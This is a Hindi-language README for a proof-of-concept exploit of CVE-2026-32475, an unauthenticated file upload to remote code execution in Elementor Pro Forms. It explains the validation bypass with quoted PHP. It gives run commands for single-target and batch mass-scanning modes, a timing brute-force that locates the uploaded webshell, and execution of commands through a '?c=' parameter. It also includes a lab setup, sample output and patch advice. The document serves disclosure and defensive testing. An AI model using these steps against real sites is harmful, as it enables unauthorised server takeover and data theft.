
CVE-2026-32475 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Elementor Pro में एक अनप्रमाणित मनमाना फ़ाइल अपलोड जो रिमोट कोड निष्पादन की ओर ले जाता है। स्वचालित खोज, अपलोड, और कमांड निष्पादन के साथ-साथ सफाई भी शामिल है।
CVE-2026-32475 (CVSS 9.0 क्रिटिकल, CWE-434) के लिए PoC: Elementor Pro Forms मॉड्यूल में एक बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड जो रिमोट कोड निष्पादन की ओर ले जाता है। Elementor Pro 4.2.2 (2026-08-19) में ठीक किया गया। Patchstack Bug Bounty कार्यक्रम के माध्यम से Tin Pham (TF1T) द्वारा रिपोर्ट किया गया।
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
यह प्रूफ ऑफ कॉन्सेप्ट केवल अधिकृत सुरक्षा अनुसंधान, शिक्षा और रक्षात्मक परीक्षण के लिए प्रदान किया गया है।
Elementor Pro फॉर्म का File Upload फ़ील्ड अपलोड की गई प्रविष्टियों को अलग-अलग अर्थों वाले दो अलग-अलग लूपों में संसाधित करता है (modules/forms/fields/upload.php):
// validation()
foreach ( $files[$id] as $index => $file ) {
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // <-- पूरी METHOD को रोक देता है
}
// is_file_type_valid() ... // प्रविष्टि #2 के लिए कभी नहीं पहुंचता
}
// process_field()
foreach ( $files[$id] as $index => $file ) {
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // <-- केवल इस प्रविष्टि को छोड़ता है
}
$filename = uniqid() . '.' . $file_extension; // हमलावर-नियंत्रित एक्सटेंशन
move_uploaded_file( $file['tmp_name'], $new_file );
}
समान अपलोड फ़ील्ड के लिए दो फ़ाइल भाग जमा करना — एक खाली पहला भाग
(filename="" → UPLOAD_ERR_NO_FILE) उसके बाद .php पेलोड — validation() को एक्सटेंशन ब्लैकलिस्ट में पेलोड देखने से पहले ही लौटने का कारण बनता है, जबकि process_field() फिर भी इसे wp-content/uploads/elementor/forms/<uniqid()>.php में ले जाता है, जो एक सार्वजनिक वेब निर्देशिका है। उस URL को सीधे अनुरोध करना = रिमोट कोड निष्पादन।
अपलोड POST /wp-admin/admin-ajax.php (action=elementor_pro_forms_send_form) द्वारा संभाला जाता है जिसमें कोई प्रमाणीकरण और कोई nonce नहीं होता है। post_id, form_id और अपलोड फ़ील्ड का नाम सार्वजनिक पृष्ठ HTML में दिखाई देते हैं, इसलिए पूरा हमला बिना प्रमाणीकरण के होता है।
लक्ष्य:
हमलावर:
एकल लक्ष्य (sitemap/होमपेज के माध्यम से फॉर्म पृष्ठ स्वतः खोजता है):
python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
स्पष्ट फॉर्म पृष्ठ:
python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
बैच मोड (sites.txt: प्रति पंक्ति एक साइट — base_url या base_url page_url):
python script.py --list sites.txt --command "id" --cleanup --out results.json
JSON सूची प्रारूप:
[{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
पहले से अपलोड किए गए शेल पर कमांड निष्पादित करें:
python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
| Flag | Default | Meaning |
|---|---|---|
--url | - | एकल-लक्ष्य आधार URL |
--list | - | बैच मोड सूची फ़ाइल |
--page-url | --url | वह पृष्ठ जिसमें फॉर्म है |
--command | id; hostname; uname -a | शेल के माध्यम से चलाने के लिए कमांड |
--cleanup | off | परीक्षण के बाद वेबशेल को स्वयं हटाएं |
--field k=v | - | स्वतः भरे गए फॉर्म फ़ील्ड को ओवरराइड करें (दोहराने योग्य) |
--tail | 0.3 | अनुमानित अपलोड समय से पहले के सेकंड फाइन-स्वीप के लिए |
--step-fine | 1 | फाइन स्वीप का माइक्रोसेकंड चरण |
--full-second | off | पूर्ण uniqid सेकंड को ब्रूट-फोर्स करें (क्लॉक स्क्यू को हराता है) |
--attempts | 1 | अपलोड+स्वीप प्रयास (प्रत्येक बार नया यादृच्छिक फ़ाइलनाम) |
--max-probes | 600000 | प्रति प्रयास स्वीप अनुरोध बजट |
--workers | 50 | समानांतर स्वीप थ्रेड |
--insecure | off | TLS त्रुटियों को अनदेखा करें (स्व-हस्ताक्षरित लक्ष्य) |
--out file.json | - | रिपोर्ट को JSON के रूप में लिखें |
post_id, form_id, अपलोड फ़ील्ड का नाम और हर अन्य फॉर्म फ़ील्ड निकालता है; सभी फ़ील्ड को उचित मानों से स्वतः भरता है ताकि आवश्यक फ़ील्ड सत्यापन पास करें (--field से ओवरराइड करें)।admin-ajax.php पर दो-भाग वाला multipart POST भेजता है। ध्यान दें: खाली errors ऑब्जेक्ट के साथ success:false को फिर भी अपलोड के रूप में माना जाता है, क्योंकि डिफ़ॉल्ट Email क्रिया wp_mail() विफल होने पर फ़ाइल स्थानांतरण के बाद फेंकती है। केवल अपलोड फ़ील्ड की अस्वीकृति (file type is not allowed) को अवरुद्ध माना जाता है।uniqid() = 8 हेक्स सेकंड + 5 हेक्स माइक्रोसेकंड। सेकंड प्रतिक्रिया Date हेडर से आते हैं; उप-सेकंड अंश (t1 - date_epoch) % 1 से अनुमानित होता है (सटीक जब हमलावर और सर्वर क्लॉक करीब हों)। एक keep-alive प्रोबर (प्रति कनेक्शन एक अनुरोध से ~30x तेज़) माइक्रोसेकंड रिज़ॉल्यूशन पर मूव विंडो को स्वीप करता है; --full-second क्लॉक स्क्यू होने पर पूरे सेकंड को ब्रूट-फोर्स करता है।GET <shell>?c=<command> कमांड चलाता है; --cleanup ?x=1 के माध्यम से शेल को हटा देता है।| Status | Meaning |
|---|---|
vulnerable | शेल अपलोड हुआ और कमांड निष्पादित हुआ — अभी पैच करें |
blocked | अपलोड फ़ील्ड अस्वीकृत (पैच किया गया 4.2.2+, आवश्यक फ़ील्ड, WAF, captcha) |
uploaded_no_exec | फ़ाइल पहुंची लेकिन फ़ाइलनाम पुनर्प्राप्त नहीं हुआ (--full-second के साथ पुनः प्रयास करें) |
no_form | लक्ष्य पर कोई भेद्य फॉर्म नहीं मिला |
error | कनेक्शन/नेटवर्क त्रुटि |
docker-compose.yml + setup_form_page.php भेद्य लक्ष्य को पुनरुत्पादित करते हैं:
docker compose up -d
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
docker compose run --rm wpcli wp plugin install elementor --activate
# अपना कानूनी रूप से प्राप्त elementor-pro.zip (<= 4.2.1) प्रोजेक्ट निर्देशिका में रखें, फिर:
docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
docker compose run --rm wpcli wp plugin activate elementor-pro
docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
[+] Shell located (attempt 1, stage=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
[*] Running command: uname -a
\nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
[*] Cleaning up (deleting webshell)...
rm
Elementor Pro को 4.2.2+ में अपडेट करें। अपडेट करने से छेद बंद हो जाता है लेकिन पहले से अपलोड किए गए शेल नहीं हटते — wp-content/uploads/elementor/forms/ में आवारा .php फ़ाइलों के लिए ऑडिट करें।
केवल अधिकृत सुरक्षा अनुसंधान और लैब उपयोग के लिए।